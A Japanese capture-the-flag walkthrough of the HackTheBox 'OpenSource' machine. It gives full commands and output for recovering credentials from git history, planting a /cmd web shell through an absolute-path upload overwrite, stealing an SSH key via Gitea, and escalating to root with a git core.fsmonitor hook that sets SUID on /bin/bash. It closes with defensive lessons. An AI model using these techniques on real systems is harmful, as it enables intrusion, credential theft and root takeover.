HackTheBox: OpenSource — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Werkzeug Flask)
→
22(SSH)/80(Werkzeug Flask)
/download からsource.zip入手
gitリポジトリを含むソース全体
→
gitリポジトリを含むソース全体
git全履歴調査
削除済みdev01資格情報を復元
→
削除済みdev01資格情報を復元
views.py を絶対パスで上書きアップロード
os.path.joinの仕様を悪用
→
os.path.joinの仕様を悪用
/cmd エンドポイントでRCE
Dockerコンテナ内root
→
Dockerコンテナ内root
Gitea API経由でSSH鍵取得
user.txt ✓
→
user.txt ✓
git-sync cron + core.fsmonitor悪用
/bin/bash を SUID 化
→
/bin/bash を SUID 化
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.227.140
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open http Werkzeug httpd 2.1.2 (Python 3.10.3)
|_http-title: upcloud - Upload files for Free!
ℹ️
Werkzeug httpd はFlaskアプリの開発サーバーがそのまま本番で動いている状態。
「upcloud」というファイルアップロード共有サービス。
PHASE 2
ソースコード丸ごと公開 & git全履歴からの資格情報復元
/download からソースをまるごと取得
BASH
curl -s http://10.129.227.140/download -o source.zip unzip -q source.zip -d source_ex
🚨
source.zipの中身には完全な .git ディレクトリが含まれていた。
つまりこのアプリは「開発中のgitリポジトリをそのままzip化して公開ダウンロードさせている」。
gitの履歴には、公開ブランチには存在しない過去のコミット・過去のブランチの差分が
すべて残っている。
ブランチ構成の確認
BASH
cd source_ex git branch -a git log --all --oneline
RESULT
dev * public 2c67a52 clean up dockerfile for production use c41fede ease testing be4da71 added gitignore a76f8f7 updated ee9d9f1 initial
ℹ️
公開用の
publicブランチとは別に、開発用のdevブランチが
残っている。devブランチには/download・/upcloud
エンドポイントが存在し、現在稼働中のアプリはこちらのコードで動いていることがわかる。
削除済みファイルをgit全履歴から発掘
BASH
git log --all -p | grep -B5 -i "proxy\|dev01"
RESULT
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
--- /dev/null
+++ b/app/.vscode/settings.json
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+ "http.proxyStrictSSL": false
+}
...
--- a/app/.vscode/settings.json
+++ /dev/null ← 後のコミットで削除されている
🚨
典型的な「git履歴クリーンアップの失敗」: 開発者は
.vscode/settings.json(VSCodeのHTTPプロキシ設定に平文パスワードを
うっかり書いてしまったファイル)を後のコミットで削除しているが、
git履歴そのものからは消えていない。git log --all -pで
全ブランチ・全コミットの差分を見れば、一度でもコミットされた内容は復元できる。
資格情報 dev01:Soulless_Developer#2022 を入手。
PHASE 3
os.path.join の絶対パス上書き仕様を悪用したRCE
アップロード処理のソースを確認
PYTHON (dev ブランチの app/app/views.py)
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
...
PYTHON (app/app/utils.py のサニタイズ関数)
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
ℹ️
recursive_replaceは「../」という文字列が完全に消えるまで
再帰的に置換し続けるため、....//のような古典的な二重化バイパスは
効かない(再帰的に全て除去されてしまう)。一見しっかりした対策に見える。
本当の脆弱性: 先頭の「/」自体は除去されない
PYTHON (脆弱性の実証)
>>> import os >>> os.path.join(os.getcwd(), "public", "uploads", "/app/app/views.py") '/app/app/views.py'
🚨
サニタイズ関数は「../」の除去しか行っておらず、先頭が「/」で始まる
絶対パス自体はまったくブロックしていない。さらに
os.path.joinは
Python標準の仕様として「後続の引数が絶対パスの場合、それ以前の引数を
すべて無視してその絶対パスをそのまま返す」という挙動を持つ。つまり
アップロード時のファイル名(multipartのfilenameフィールド)を
/app/app/views.pyのような絶対パスにするだけで、
public/uploads/配下ではなくアプリ自身のソースファイルへ
直接書き込める。古典的な「../」トラバーサルではなく、
絶対パスによる書き込み先上書きという、より根本的なバグ。
RCE用のviews.pyを作成しアップロード
PYTHON (差し替え用views.pyに追加する内容)
# 既存の全ルートはそのまま残しつつ、以下を追加する
import subprocess
@app.route('/cmd')
def execute():
return subprocess.check_output(request.args.get('cmd').split(' '))
BASH
curl -s -X POST \ -F "file=@malicious_views.py;filename=/app/app/views.py" \ http://10.129.227.140/upcloud
⚠️
実装上の制約:
subprocess.check_output(cmd.split(' '))は
スペース区切りで引数配列化するだけでシェルを一切経由しないため、
パイプ|・リダイレクト>・環境変数展開・複数コマンドの
&&連結などは一切使えない。複雑な処理をしたい場合は、
別ファイルとしてスクリプトを用意しwgetで取得後に
python3 /tmp/script.pyのように単体の実行ファイルとして
呼び出す必要がある。
RCEの確認
BASH
curl -s "http://10.129.227.140/cmd?cmd=id"
RESULT
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
✅
RCE成功。ただしこれはあくまでDockerコンテナ内でのroot
(ホストOSの一般ユーザー権限相当)。
FLASK_DEBUG=1がdevブランチの
Dockerfileで有効化されており、Werkzeugデバッガのトレースバックから
/app/app/views.pyの実際のソースコード(差し替えたコードそのもの)が
丸見えになる点も、デバッグモードを本番運用する危険性の具体例として興味深い。
PHASE 4
コンテナからホストのGiteaへ横移動 & user.txt
コンテナ内の利用可能ツールを確認
BASH
curl -s "http://10.129.227.140/cmd?cmd=curl%20--version" # → 失敗(存在しない) curl -s "http://10.129.227.140/cmd?cmd=wget%20--version" # → バージョン表示は失敗するが… curl -s "http://10.129.227.140/cmd?cmd=python3%20--version" # → Python 3.10.3
ℹ️
コンテナ内には
curlが入っていない。wgetは--version
オプション自体がなぜか失敗するが、実際のファイル取得機能(URL→保存)は正常に動作する
ことを確認済み。wgetでKali側から任意のファイル(スクリプトや公開鍵)を
取得し、python3で実行するのが本マシンでの定石ルートになる。
コンテナからホストのGiteaへの到達性を確認
BASH
curl -s "http://10.129.227.140/cmd?cmd=cat%20/etc/hosts"
RESULT
127.0.0.1 localhost ... 172.17.0.2 <container-id>
ℹ️
コンテナ自身のIPはDockerのデフォルトブリッジネットワーク(
172.17.0.0/16)上。
Dockerのブリッジネットワークの仕様上、コンテナからホスト側(docker0の172.17.0.1)
へは到達可能なことが多い。ホスト上でGitea(ポート3000)が稼働していないか確認する。
Python3スクリプトでGitea APIからSSH秘密鍵を取得
NOTE
wgetで取得・python3で実行するスクリプトの要点:
1. Phase2で復元した dev01:Soulless_Developer#2022 を
Basic認証ヘッダーとしてBase64エンコード
(wgetの --header=Authorization: Basic ... はURLクエリ経由だと
スペースで分割されて壊れるため、Pythonのurllib.request側で
ヘッダーを直接組み立てる)
2. Gitea REST APIで dev01 の "home-backup" リポジトリから
.ssh/id_rsa を直接raw取得:
GET http://172.17.0.1:3000/api/v1/repos/dev01/home-backup/raw/.ssh/id_rsa?ref=main
3. 取得した秘密鍵をKali側で待ち受けているリスナーへHTTP POSTで
送り返す(/cmd 自体は標準出力がそのままレスポンスになるが、
秘密鍵のような改行・特殊文字混じりのデータはURL経由の往復で
壊れやすいため、スクリプト内から直接外部へPOSTする方式の方が確実)
ℹ️
Giteaの認証情報(
dev01:Soulless_Developer#2022)は、Phase2でWebアプリ用の
SSH/ログイン資格情報として漏れていたものと同一ユーザー名。このマシンの
Giteaは「home-backup」という名前の通り、dev01のホームディレクトリ
(.sshを含む)を定期的にgit管理下でバックアップしている構成になっている。
取得したSSH秘密鍵でログイン & user.txt取得
BASH
chmod 600 dev01_id_rsa ssh -i dev01_id_rsa dev01@10.129.227.140 "id; cat /home/dev01/user.txt"
RESULT
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01) 7ee1d71e31d1aa4d02bc2afc87534b78
user.txt — dev01
7ee1d71e31d1aa4d02bc2afc87534b78
PHASE 5
root稼働のgit-sync cron + core.fsmonitor悪用 & root.txt
root権限で動くバックアップ処理の発見
BASH
find / -iname 'git-sync*' 2>/dev/null cat /usr/local/bin/git-sync
RESULT
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
🚨
root所有のcronジョブ(
/etc/crontab/cron.dには
現れず、root自身の個人crontabに登録されているため一般ユーザーからは
直接見えないが、/usr/local/bin/git-sync自体は誰でも読める)が約1分おきに
/home/dev01でgit status→git add→
git commit→git pushをroot権限で実行している。
core.fsmonitor フックの悪用
BASH
ssh -i dev01_id_rsa dev01@10.129.227.140 \ "cd /home/dev01 && git config core.fsmonitor 'chmod 4755 /bin/bash'" ssh -i dev01_id_rsa dev01@10.129.227.140 \ "cd /home/dev01 && git config --get core.fsmonitor"
RESULT
chmod 4755 /bin/bash
🚨
git の
core.fsmonitor 設定は、本来「ファイルシステム監視
デーモンへのパスやコマンド」を指定する設定値だが、ここに設定した
任意のコマンドが git status・git add 実行のたびに
自動実行される(File System Monitorフックの仕様)。この設定は
.git/config(dev01が所有)に書き込まれるため、一般ユーザーの
dev01が、rootが実行するgitコマンドに対して任意コマンド実行を仕込める。
⚠️
実機でのハマりポイント:
git config コマンド自体のSSH越しの
実行が、まれに(ネットワークの一過性の揺らぎ等で)反映されないことがあった。
設定直後に git config --get core.fsmonitor で読み戻して検証し、
値が入っていなければリトライするのが確実。確認を省いて先に進むと、
「150秒待っても/bin/bashがSUID化されない」という紛らわしい失敗になる
(実際にはcronの問題ではなく、そもそも設定が入っていなかっただけ)。
差分を作ってcronの発火を待つ
BASH
# git-sync は「変更が無ければ何もしない」ため、必ず新しい差分を作る。 # 同名ファイルの touch だけだと(既にcommit済みなら)差分扱いされないので # 実行のたびにファイル名を変える ssh -i dev01_id_rsa dev01@10.129.227.140 \ "touch /home/dev01/.trigger_\$(date +%s)" # 最大150秒(cronの約1分周期を2回分カバー)待ってから確認 ssh -i dev01_id_rsa dev01@10.129.227.140 "ls -la /bin/bash"
RESULT
-rwsr-xr-x 1 root root 1113504 ... /bin/bash ← 所有者実行ビットが s = SUID化成功
✅
root権限で実行されたgit-syncが
git status/git addのたびに
fsmonitorフックを発火させ、chmod 4755 /bin/bashがroot権限で実行された。
SUID bashでroot.txt取得
BASH
ssh -i dev01_id_rsa dev01@10.129.227.140 \ "/bin/bash -p -c 'id; cat /root/root.txt'"
RESULT
uid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01) 19f5f076b4059be376d22214613a974a
ℹ️
bash -pオプションは「SUID/SGIDで起動された場合でも実行権限(euid)を
維持したまま起動する」モード。これを付けないと、bashが自動的に
実effective-UIDを実uidまで下げてしまい、SUID化していても権限が
上がらない点に注意。
root.txt — root (SUID bash経由)
19f5f076b4059be376d22214613a974a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dev01
7ee1d71e31d1aa4d02bc2afc87534b78
root.txt — root
19f5f076b4059be376d22214613a974a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| git履歴に残存する削除済み機密情報 | source.zip内の.gitディレクトリ全履歴 | 有効な資格情報の漏洩 | High | git log --all -pで過去に削除されたファイル(.vscode/settings.json)の内容を復元 |
| os.path.joinの絶対パス上書きを利用したRCE | upcloudのファイルアップロード機能 (/upcloud) |
任意ファイル上書き → リモートコード実行 | Critical | サニタイズが「../」除去のみで絶対パスを考慮しておらず、filename=/app/app/views.pyでアプリ自身のソースを上書き |
| コンテナ→ホストの横移動(Giteaへの資格情報使い回し) | Dockerブリッジネットワーク経由のGitea API (172.17.0.1:3000) | SSH秘密鍵の窃取 | Medium | Webアプリ資格情報とGiteaアカウントが同一(dev01)、home-backupリポジトリに.sshディレクトリがバックアップされている |
| root cronのgit core.fsmonitorフック悪用 | /usr/local/bin/git-sync (root cron) | 権限昇格(一般ユーザー → root) | Critical | 一般ユーザーが所有するリポジトリの.git/configにfsmonitorとして任意コマンドを設定でき、root権限のgit操作のたびに実行される |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/80(Werkzeug Flask「upcloud」) |
| 2 | ソース漏洩分析 | /downloadでsource.zip取得 + git全履歴調査 | dev01:Soulless_Developer#2022 |
| 3 | RCE | 絶対パスファイル名でviews.pyを上書きアップロード | コンテナ内root権限での任意コマンド実行(/cmd) |
| 4 | 横移動 | wget+python3でGitea REST APIからid_rsa取得 | user.txt(dev01) |
| 5 | 権限昇格 | core.fsmonitorフック + root cron(git-sync)発火待ち | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 開発用gitリポジトリ(.git含む)がzip化されそのまま一般公開ダウンロードされている | 配布用アーカイブは.gitディレクトリを含まないビルド成果物のみとし、開発リポジトリと配布物を明確に分離する。 |
| 一度コミットした機密情報はファイル削除だけでは履歴から消えない | 機密情報を誤ってコミットした場合はgit filter-repo等で履歴自体を書き換え、該当の認証情報は直ちに無効化・再発行する。 |
| パストラバーサル対策が「../」の除去のみで、絶対パスの考慮が抜けている | アップロードファイル名はホワイトリスト方式(許可文字種のみ)で再生成するか、os.path.basename()で必ずパス区切り文字を除去してから結合する。Werkzeugのsecure_filename()を利用するのが定石。 |
本番相当の環境でFLASK_DEBUG=1(Werkzeugデバッガ)が有効 |
本番環境では必ずデバッグモードを無効化する。万一有効にする場合もデバッガのPINロックを無効化せず、外部からアクセス不能なネットワークに限定する。 |
| Webアプリとgitホスティング(Gitea)で同一の資格情報を使い回している | サービスごとに独立した資格情報を発行し、資格情報マネージャーで一元管理する。横移動の起点を1アカウント漏洩で複数サービスに広げない。 |
| 一般ユーザー所有のgitリポジトリに対しroot権限でgitコマンドを定期実行している | root権限で実行する自動化ジョブは、信頼できないユーザーが設定を書き換えられるディレクトリ・リポジトリに対して行わない。やむを得ない場合はgit -c core.fsmonitor= statusのように明示的にフックを無効化して実行する。 |

